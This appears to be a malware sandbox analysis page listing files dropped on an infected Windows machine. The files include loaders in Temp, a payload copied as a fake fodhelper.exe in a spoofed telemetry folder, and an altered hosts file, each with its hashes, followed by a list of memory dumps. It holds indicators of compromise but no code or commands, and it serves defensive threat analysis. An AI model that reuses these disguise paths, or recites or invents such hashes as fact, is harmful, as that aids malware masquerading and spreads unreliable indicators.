Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
Size 948B
SHA256 5e97dee013313bedacd578551a15e88ed87b381ed8f20755cb929b6358fd020a
MD5 a7ce8cefc3f798abe5abd683d0ef26dd
SHA1 b7abb625174a48db3221bf0fee4ecdbc2bd4ee1e
SHA512 c0d1821252d56e7b7d5b5d83891673f279f67638da1f454fb45e0426315cf07cc54c6df2cf77c65c11bcb3a1e4f574f76a3fb9059fde94951ba99d3de0e98d64
MD5 SHA1 SHA512

Submit Download

StartupProfileData-NonInteractive

Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
Size 1KB
SHA256 29f7c1224e2047e1bc778047972af5ba51d61b1db3aa92f03d0bfe2282dcd12a
MD5 ec9eb5e57cc0ad18f4cc68e00a7d8197
SHA1 81e07c4f25e1338e930310335227f661ac289a38
SHA512 a1ccd3c8bfd8e944de2d9afc5e0b1641e3e3a0269c13039056937fcda8fb67989d0a970fc4e8999450f9a77224b04ecb838dfdeef86471f412d7b3f4f815b2c4
MD5 SHA1 SHA512

Submit Download

C4Loader.exe

Path C:\Users\Admin\AppData\Local\Temp\C4Loader.exe
Size 2.7MB
SHA256 88e1fbd4e5494e3c2766300e8bab97edb08f3c7315c3d914b7d8b2dac25f8986
MD5 43a0526a928f9daca9c953221406af8e
SHA1 34fdd0d94ecfe8c887ebb164068579013d2c611b
SHA512 9632a96172d6db2d7b0e356a2bb661b397b3c8b380fbe151707322d204cee0ab82abbec4476ce6e43f5dfa67b9ae34d77909fbc966d431898b25dec9fbaea3fd
SSDEEP 49152:Aujo4zjmiVP/bjTRdYey8Pg8clh2bsam8LFl6yJ3O21oV9aZYq:Auc2milfTTYZ8PM756l6y5Bo6qq
MD5 SHA1 SHA512 SSDEEP

Submit Download

C4Loader.exe

Path C:\Users\Admin\AppData\Local\Temp\C4Loader.exe
Size 2.7MB
SHA256 88e1fbd4e5494e3c2766300e8bab97edb08f3c7315c3d914b7d8b2dac25f8986
MD5 43a0526a928f9daca9c953221406af8e
SHA1 34fdd0d94ecfe8c887ebb164068579013d2c611b
SHA512 9632a96172d6db2d7b0e356a2bb661b397b3c8b380fbe151707322d204cee0ab82abbec4476ce6e43f5dfa67b9ae34d77909fbc966d431898b25dec9fbaea3fd
SSDEEP 49152:Aujo4zjmiVP/bjTRdYey8Pg8clh2bsam8LFl6yJ3O21oV9aZYq:Auc2milfTTYZ8PM756l6y5Bo6qq
MD5 SHA1 SHA512 SSDEEP

Submit Download

SmartDefRun.exe

Path C:\Users\Admin\AppData\Local\Temp\SmartDefRun.exe
Size 3.7MB
SHA256 d6516a119c2c08859883d95f97b0bd4b2fb8fbad7d7fae6ed2d79b447177d408
MD5 e2fb72e358e13e40ae8327c3a9df8165
SHA1 b40aceed9393e3d4c289b2cf477dd5dee76a39da
SHA512 b209805a5194ccf70a97a57685a1765bb1ef15480994a2737084805fa21f79a285a5a1f98d0857051bc03ad98a2c90d81b33bb49cde1e955ba9898e86d8697e9
SSDEEP 98304:YhCXGuqU2NGGt1NeI4LRnojOISqQBX37KQlXwrDaqYT6A+W:zfgOIEqQBH7K0XmQJ
MD5 SHA1 SHA512 SSDEEP

Submit Download

SmartDefRun.exe

Path C:\Users\Admin\AppData\Local\Temp\SmartDefRun.exe
Size 3.7MB
SHA256 d6516a119c2c08859883d95f97b0bd4b2fb8fbad7d7fae6ed2d79b447177d408
MD5 e2fb72e358e13e40ae8327c3a9df8165
SHA1 b40aceed9393e3d4c289b2cf477dd5dee76a39da
SHA512 b209805a5194ccf70a97a57685a1765bb1ef15480994a2737084805fa21f79a285a5a1f98d0857051bc03ad98a2c90d81b33bb49cde1e955ba9898e86d8697e9
SSDEEP 98304:YhCXGuqU2NGGt1NeI4LRnojOISqQBX37KQlXwrDaqYT6A+W:zfgOIEqQBH7K0XmQJ
MD5 SHA1 SHA512 SSDEEP

Submit Download

SysApp.exe

Path C:\Users\Admin\AppData\Local\Temp\SysApp.exe
Size 1.4MB
SHA256 dd47342f809e86e447b68827dd3a1e72ea0795b71976ecd6fa242013b767b14f
MD5 b6bbab9f72c88d07b484cc339c475e75
SHA1 f06141cedf2aac3cfac6c997d99c00d8e7c5b4c1
SHA512 1ee084d4283b7359b5f261337e744adecc6a1e26a18b4d2412e6f53d2b602b5e8538112065d27a536776dedadfd0ec8a276aa977389f21f4491539753a0b9fa5
SSDEEP 24576:Y3621SZiNtNxkSJPXZi9aftdqkXO5pM7xUo1nZADHE2SDyuq5ZP+df:Y3dblkS5XZi9wdqlpMVUo1n+kbDzqbk
MD5 SHA1 SHA512 SSDEEP

Submit Download

SysApp.exe

Path C:\Users\Admin\AppData\Local\Temp\SysApp.exe
Size 1.4MB
SHA256 dd47342f809e86e447b68827dd3a1e72ea0795b71976ecd6fa242013b767b14f
MD5 b6bbab9f72c88d07b484cc339c475e75
SHA1 f06141cedf2aac3cfac6c997d99c00d8e7c5b4c1
SHA512 1ee084d4283b7359b5f261337e744adecc6a1e26a18b4d2412e6f53d2b602b5e8538112065d27a536776dedadfd0ec8a276aa977389f21f4491539753a0b9fa5
SSDEEP 24576:Y3621SZiNtNxkSJPXZi9aftdqkXO5pM7xUo1nZADHE2SDyuq5ZP+df:Y3dblkS5XZi9wdqlpMVUo1n+kbDzqbk
MD5 SHA1 SHA512 SSDEEP

Submit Download

new2.exe

Path C:\Users\Admin\AppData\Local\Temp\new2.exe
Size 248KB
SHA256 5d5e9a03a29d4e638a175b889a5bb73fbcb0809ac83aa6966324fe86ac408d17
MD5 18ec6f65d276ea2173b26e7ca013190e
SHA1 f24d95a1069ccbde30ece236d72c7553689c890b
SHA512 33e2c237be627d032d9b1db91aa8446b06b9526f55dffc68c8eec55aedd6a747f2231dc1a4ab730590bb1a4407136b78ff6fa472643078b03dc665f781e31573
SSDEEP 3072:QScNYLAzJ+bENfhy6Fw+UVVgq/qipjvVBN1s1KeVyFCbC4KZxaJVYYPwiofG/7c:4/dgENPHip5BE1k6KZxowikG/7c
MD5 SHA1 SHA512 SSDEEP

Submit Download

new2.exe

Path C:\Users\Admin\AppData\Local\Temp\new2.exe
Size 248KB
SHA256 5d5e9a03a29d4e638a175b889a5bb73fbcb0809ac83aa6966324fe86ac408d17
MD5 18ec6f65d276ea2173b26e7ca013190e
SHA1 f24d95a1069ccbde30ece236d72c7553689c890b
SHA512 33e2c237be627d032d9b1db91aa8446b06b9526f55dffc68c8eec55aedd6a747f2231dc1a4ab730590bb1a4407136b78ff6fa472643078b03dc665f781e31573
SSDEEP 3072:QScNYLAzJ+bENfhy6Fw+UVVgq/qipjvVBN1s1KeVyFCbC4KZxaJVYYPwiofG/7c:4/dgENPHip5BE1k6KZxowikG/7c
MD5 SHA1 SHA512 SSDEEP

Submit Download

fodhelper.exe

Path C:\Users\Admin\AppData\Roaming\Microsoft\TelemetryServices\fodhelper.exe
Size 1.4MB
SHA256 dd47342f809e86e447b68827dd3a1e72ea0795b71976ecd6fa242013b767b14f
MD5 b6bbab9f72c88d07b484cc339c475e75
SHA1 f06141cedf2aac3cfac6c997d99c00d8e7c5b4c1
SHA512 1ee084d4283b7359b5f261337e744adecc6a1e26a18b4d2412e6f53d2b602b5e8538112065d27a536776dedadfd0ec8a276aa977389f21f4491539753a0b9fa5
SSDEEP 24576:Y3621SZiNtNxkSJPXZi9aftdqkXO5pM7xUo1nZADHE2SDyuq5ZP+df:Y3dblkS5XZi9wdqlpMVUo1n+kbDzqbk
MD5 SHA1 SHA512 SSDEEP

Submit Download

fodhelper.exe

Path C:\Users\Admin\AppData\Roaming\Microsoft\TelemetryServices\fodhelper.exe
Size 1.4MB
SHA256 dd47342f809e86e447b68827dd3a1e72ea0795b71976ecd6fa242013b767b14f
MD5 b6bbab9f72c88d07b484cc339c475e75
SHA1 f06141cedf2aac3cfac6c997d99c00d8e7c5b4c1
SHA512 1ee084d4283b7359b5f261337e744adecc6a1e26a18b4d2412e6f53d2b602b5e8538112065d27a536776dedadfd0ec8a276aa977389f21f4491539753a0b9fa5
SSDEEP 24576:Y3621SZiNtNxkSJPXZi9aftdqkXO5pM7xUo1nZADHE2SDyuq5ZP+df:Y3dblkS5XZi9wdqlpMVUo1n+kbDzqbk
MD5 SHA1 SHA512 SSDEEP

Submit Download

hosts

Path C:\Windows\System32\drivers\etc\hosts
Size 2KB
SHA256 de574c85b289f23bba4b932a4c48397c4c61904cb6df086726dd7f8049624c3a
MD5 4ac8a26e2cee1347880edccb47ab30ea
SHA1 a629f6d453014c9dccb98987e1f4b0a3d4bdd460
SHA512 fc2af80b2e84ae114ae06144b9ec41eed50250e20f18db3d114ac8d2c59ebbfcd440f59d12f173ea6a94bcf394b0cecee9e120265112b7043bf9e2bd636d6a8a
MD5 SHA1 SHA512

Submit Download

powershell.exe.log

Path C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log
Size 4KB
SHA256 e3274ce8296f2cd20e3189576fbadbfa0f1817cdf313487945c80e968589a495
MD5 bdb25c22d14ec917e30faf353826c5de
SHA1 6c2feb9cea9237bc28842ebf2fea68b3bd7ad190
SHA512 b5eddbfd4748298a302e2963cfd12d849130b6dcb8f0f85a2a623caed0ff9bd88f4ec726f646dbebfca4964adc35f882ec205113920cb546cc08193739d6728c
SSDEEP 96:iq3NYqGeHo9xrLSdx4qKkq3qktznENYrhGaq66iNLm0RIzoZcBPQhDAyRLcxZpoG:iqdYqGAjdx4qKkq3qktznEuZq6FIzoI
MD5 SHA1 SHA512 SSDEEP

Submit Download

StartupProfileData-NonInteractive

Path C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
Size 1KB
SHA256 8ed3b348989cdc967d1fc0e887b2a2f5a656680d8d14ebd3cb71a10c2f55867a
MD5 b42c70c1dbf0d1d477ec86902db9e986
SHA1 1d1c0a670748b3d10bee8272e5d67a4fabefd31f
SHA512 57fb278a8b2e83d01fac2a031c90e0e2bd5e4c1a360cfa4308490eb07e1b9d265b1f28399d0f10b141a6438ba92dd5f9ce4f18530ec277fece0eb7678041cbc5
MD5 SHA1 SHA512

Submit Download

StartupProfileData-NonInteractive

Path C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
Size 1KB
SHA256 7036d1846c9dc18e19b6391a8bcfbb110006c35791673f05ebf378d7c16c6d5f
MD5 aa187cac09f051e24146ad549a0f08a6
SHA1 2ef7fae3652bb838766627fa6584a6e3b5e74ff3
SHA512 960f07a7f2699121c23ecdb1429e39b14485957b41ff9d201c737d1675f2d4cd97d4a3de4bce4fb18155c14183b96b2689a36df94297dba035eef640136b0df2
MD5 SHA1 SHA512

Submit Download

memory/8-292-0x00007FFA96230000-0x00007FFA96240000-memory.dmp

Download

memory/376-263-0x00007FFA96230000-0x00007FFA96240000-memory.dmp

Download

memory/524-264-0x00007FFA96230000-0x00007FFA96240000-memory.dmp

Download

memory/604-324-0x00000276D0F50000-0x00000276D0F77000-memory.dmp

Download

memory/604-322-0x00000276D0F20000-0x00000276D0F41000-memory.dmp

Download

memory/604-262-0x00007FFA96230000-0x00007FFA96240000-memory.dmp

Download

memory/656-268-0x00007FFA96230000-0x00007FFA96240000-memory.dmp

Download

memory/672-266-0x00007FFA96230000-0x00007FFA96240000-memory.dmp

Download

memory/716-171-0x0000000005600000-0x000000000560A000-memory.dmp

Download

memory/716-162-0x0000000000570000-0x0000000000824000-memory.dmp

Download

memory/716-165-0x0000000005120000-0x00000000051B2000-memory.dmp

Download

memory/960-265-0x00007FFA96230000-0x00007FFA96240000-memory.dmp

Download

memory/1032-269-0x00007FFA96230000-0x00007FFA96240000-memory.dmp

Download

memory/1040-270-0x00007FFA96230000-0x00007FFA96240000-memory.dmp

Download

memory/1164-271-0x00007FFA96230000-0x00007FFA96240000-memory.dmp

Download

memory/1180-272-0x00007FFA96230000-0x00007FFA96240000-memory.dmp

Download

memory/1216-273-0x00007FFA96230000-0x00007FFA96240000-memory.dmp

Download

memory/1252-274-0x00007FFA96230000-0x00007FFA96240000-memory.dmp

Download

memory/1268-294-0x00007FFA96230000-0x00007FFA96240000-memory.dmp

Download

memory/1364-275-0x00007FFA96230000-0x00007FFA96240000-memory.dmp

Download

memory/1384-276-0x00007FFA96230000-0x00007FFA96240000-memory.dmp

Download

memory/1408-293-0x00007FFA96230000-0x00007FFA96240000-memory.dmp

Download

memory/1416-277-0x00007FFA96230000-0x00007FFA96240000-memory.dmp

Download

memory/1428-278-0x00007FFA96230000-0x00007FFA96240000-memory.dmp

Download

memory/1520-222-0x00000265C0570000-0x00000265C057A000-memory.dmp

Download

memory/1520-227-0x00007FFAB68C0000-0x00007FFAB7381000-memory.dmp

Download

memory/1520-226-0x00000265C05C0000-0x00000265C05CA000-memory.dmp

Download

memory/1520-225-0x00000265C05B0000-0x00000265C05B6000-memory.dmp

Download

memory/1520-224-0x00000265C0580000-0x00000265C0588000-memory.dmp

Download

memory/1520-223-0x00000265C05D0000-0x00000265C05EA000-memory.dmp

Download

memory/1520-221-0x00000265C0590000-0x00000265C05AC000-memory.dmp

Download

memory/1520-220-0x00000265C0420000-0x00000265C042A000-memory.dmp

Download

memory/1520-219-0x00000265C0340000-0x00000265C035C000-memory.dmp

Download

memory/1520-218-0x00007FFAB68C0000-0x00007FFAB7381000-memory.dmp

Download

memory/1552-279-0x00007FFA96230000-0x00007FFA96240000-memory.dmp

Download

memory/1560-280-0x00007FFA96230000-0x00007FFA96240000-memory.dmp

Download

memory/1616-281-0x00007FFA96230000-0x00007FFA96240000-memory.dmp

Download

memory/1636-282-0x00007FFA96230000-0x00007FFA96240000-memory.dmp

Download

memory/1732-283-0x00007FFA96230000-0x00007FFA96240000-memory.dmp

Download

memory/1804-284-0x00007FFA96230000-0x00007FFA96240000-memory.dmp

Download

memory/1828-285-0x00007FFA96230000-0x00007FFA96240000-memory.dmp

Download

memory/1876-290-0x00007FFA96230000-0x00007FFA96240000-memory.dmp

Download

memory/1916-286-0x00007FFA96230000-0x00007FFA96240000-memory.dmp

Download

memory/1928-287-0x00007FFA96230000-0x00007FFA96240000-memory.dmp

Download

memory/2004-288-0x00007FFA96230000-0x00007FFA96240000-memory.dmp

Download

memory/2012-289-0x00007FFA96230000-0x00007FFA96240000-memory.dmp

Download

memory/2180-291-0x00007FFA96230000-0x00007FFA96240000-memory.dmp

Download

memory/2248-251-0x00007FFAD61B0000-0x00007FFAD63A5000-memory.dmp

Download

memory/2248-248-0x00007FFAB68C0000-0x00007FFAB7381000-memory.dmp

Download

memory/2248-216-0x00007FFAB68C0000-0x00007FFAB7381000-memory.dmp

Download

memory/2248-258-0x00007FFAD5F20000-0x00007FFAD5FDE000-memory.dmp

Download

memory/2248-256-0x00007FFAD61B0000-0x00007FFAD63A5000-memory.dmp

Download

memory/2248-252-0x00007FFAD5F20000-0x00007FFAD5FDE000-memory.dmp

Download

memory/2320-295-0x00007FFA96230000-0x00007FFA96240000-memory.dmp

Download

memory/2352-296-0x00007FFA96230000-0x00007FFA96240000-memory.dmp

Download

memory/2368-234-0x00007FFAB68C0000-0x00007FFAB7381000-memory.dmp

Download

memory/2368-242-0x00007FFAB68C0000-0x00007FFAB7381000-memory.dmp

Download

memory/2368-243-0x0000023071899000-0x000002307189F000-memory.dmp

Download

memory/2420-297-0x00007FFA96230000-0x00007FFA96240000-memory.dmp

Download

memory/2544-214-0x0000000007010000-0x000000000753C000-memory.dmp

Download

memory/2544-184-0x0000000004D70000-0x0000000004DAC000-memory.dmp

Download

memory/2544-174-0x0000000000400000-0x0000000000420000-memory.dmp

Download

memory/2544-180-0x0000000005350000-0x0000000005968000-memory.dmp

Download

memory/2544-211-0x0000000006910000-0x0000000006AD2000-memory.dmp

Download

memory/2544-181-0x00000000027C0000-0x00000000027D2000-memory.dmp

Download

memory/2544-183-0x0000000004E40000-0x0000000004F4A000-memory.dmp

Download

memory/2544-202-0x0000000005D30000-0x0000000005DA6000-memory.dmp

Download

memory/2544-203-0x0000000005E30000-0x0000000005E4E000-memory.dmp

Download

memory/2544-217-0x0000000006810000-0x0000000006860000-memory.dmp

Download

memory/2552-298-0x00007FFA96230000-0x00007FFA96240000-memory.dmp

Download

memory/2560-299-0x00007FFA96230000-0x00007FFA96240000-memory.dmp

Download

memory/2692-300-0x00007FFA96230000-0x00007FFA96240000-memory.dmp

Download

memory/2700-301-0x00007FFA96230000-0x00007FFA96240000-memory.dmp

Download

memory/2732-302-0x00007FFA96230000-0x00007FFA96240000-memory.dmp

Download

memory/2792-303-0x00007FFA96230000-0x00007FFA96240000-memory.dmp

Download

memory/2800-304-0x00007FFA96230000-0x00007FFA96240000-memory.dmp

Download

memory/2808-305-0x00007FFA96230000-0x00007FFA96240000-memory.dmp

Download

memory/2824-306-0x00007FFA96230000-0x00007FFA96240000-memory.dmp

Download

memory/3100-204-0x00007FFAB67A0000-0x00007FFAB7261000-memory.dmp

Download

memory/3100-191-0x00007FFAB67A0000-0x00007FFAB7261000-memory.dmp

Download

memory/3256-179-0x00000000007E0000-0x000000000081E000-memory.dmp

Download

memory/3816-188-0x00007FFAB6800000-0x00007FFAB72C1000-memory.dmp

Download

memory/3816-182-0x000001B33A5F0000-0x000001B33A612000-memory.dmp

Download

memory/3816-185-0x00007FFAB6800000-0x00007FFAB72C1000-memory.dmp

Download

memory/4404-213-0x0000000002243000-0x0000000002747000-memory.dmp

Download

memory/4404-209-0x0000000002755000-0x0000000002892000-memory.dmp

Download

memory/4404-187-0x0000000002243000-0x0000000002747000-memory.dmp

Download

memory/4404-244-0x0000000002755000-0x0000000002892000-memory.dmp

Download

memory/4480-257-0x0000000140000000-0x0000000140029000-memory.dmp

Download

memory/4480-260-0x00007FFAD61B0000-0x00007FFAD63A5000-memory.dmp

Download

memory/4480-267-0x0000000140000000-0x0000000140029000-memory.dmp

Download

memory/4480-261-0x00007FFAD5F20000-0x00007FFAD5FDE000-memory.dmp

Download

memory/4480-253-0x0000000140000000-0x0000000140029000-memory.dmp

Download

memory/4596-139-0x0000000000400000-0x0000000000405000-memory.dmp

Download

memory/4596-133-0x0000000000400000-0x0000000000405000-memory.dmp

Download

memory/4664-155-0x0000000007080000-0x000000000709A000-memory.dmp

Download

memory/4664-149-0x0000000006090000-0x00000000060AE000-memory.dmp

Download

memory/4664-158-0x0000000008070000-0x0000000008614000-memory.dmp

Download

memory/4664-157-0x0000000007190000-0x00000000071B2000-memory.dmp

Download

memory/4664-156-0x0000000007070000-0x0000000007078000-memory.dmp

Download

memory/4664-154-0x0000000007030000-0x000000000703E000-memory.dmp

Download

memory/4664-153-0x00000000070C0000-0x0000000007156000-memory.dmp

Download

memory/4664-152-0x0000000006E70000-0x0000000006E7A000-memory.dmp

Download

memory/4664-151-0x0000000006E00000-0x0000000006E1A000-memory.dmp

Download

memory/4664-141-0x00000000021B0000-0x00000000021E6000-memory.dmp

Download

memory/4664-142-0x0000000004D60000-0x0000000005388000-memory.dmp

Download

memory/4664-150-0x0000000007440000-0x0000000007ABA000-memory.dmp

Download

memory/4664-143-0x0000000004C20000-0x0000000004C42000-memory.dmp

Download

memory/4664-148-0x0000000070780000-0x00000000707CC000-memory.dmp

Download

memory/4664-147-0x00000000060B0000-0x00000000060E2000-memory.dmp

Download

memory/4664-146-0x0000000005AE0000-0x0000000005AFE000-memory.dmp

Download

memory/4664-145-0x00000000054E0000-0x0000000005546000-memory.dmp

Download

memory/4664-144-0x0000000005400000-0x0000000005466000-memory.dmp

Download

memory/4712-207-0x00007FFAB68C0000-0x00007FFAB7381000-memory.dmp

Download

memory/4712-212-0x00007FFAB68C0000-0x00007FFAB7381000-memory.dmp

Download

memory/4988-249-0x00007FF70E990000-0x00007FF70F184000-memory.dmp

Download

memory/4988-247-0x0000020ACDFE0000-0x0000020ACE000000-memory.dmp

Download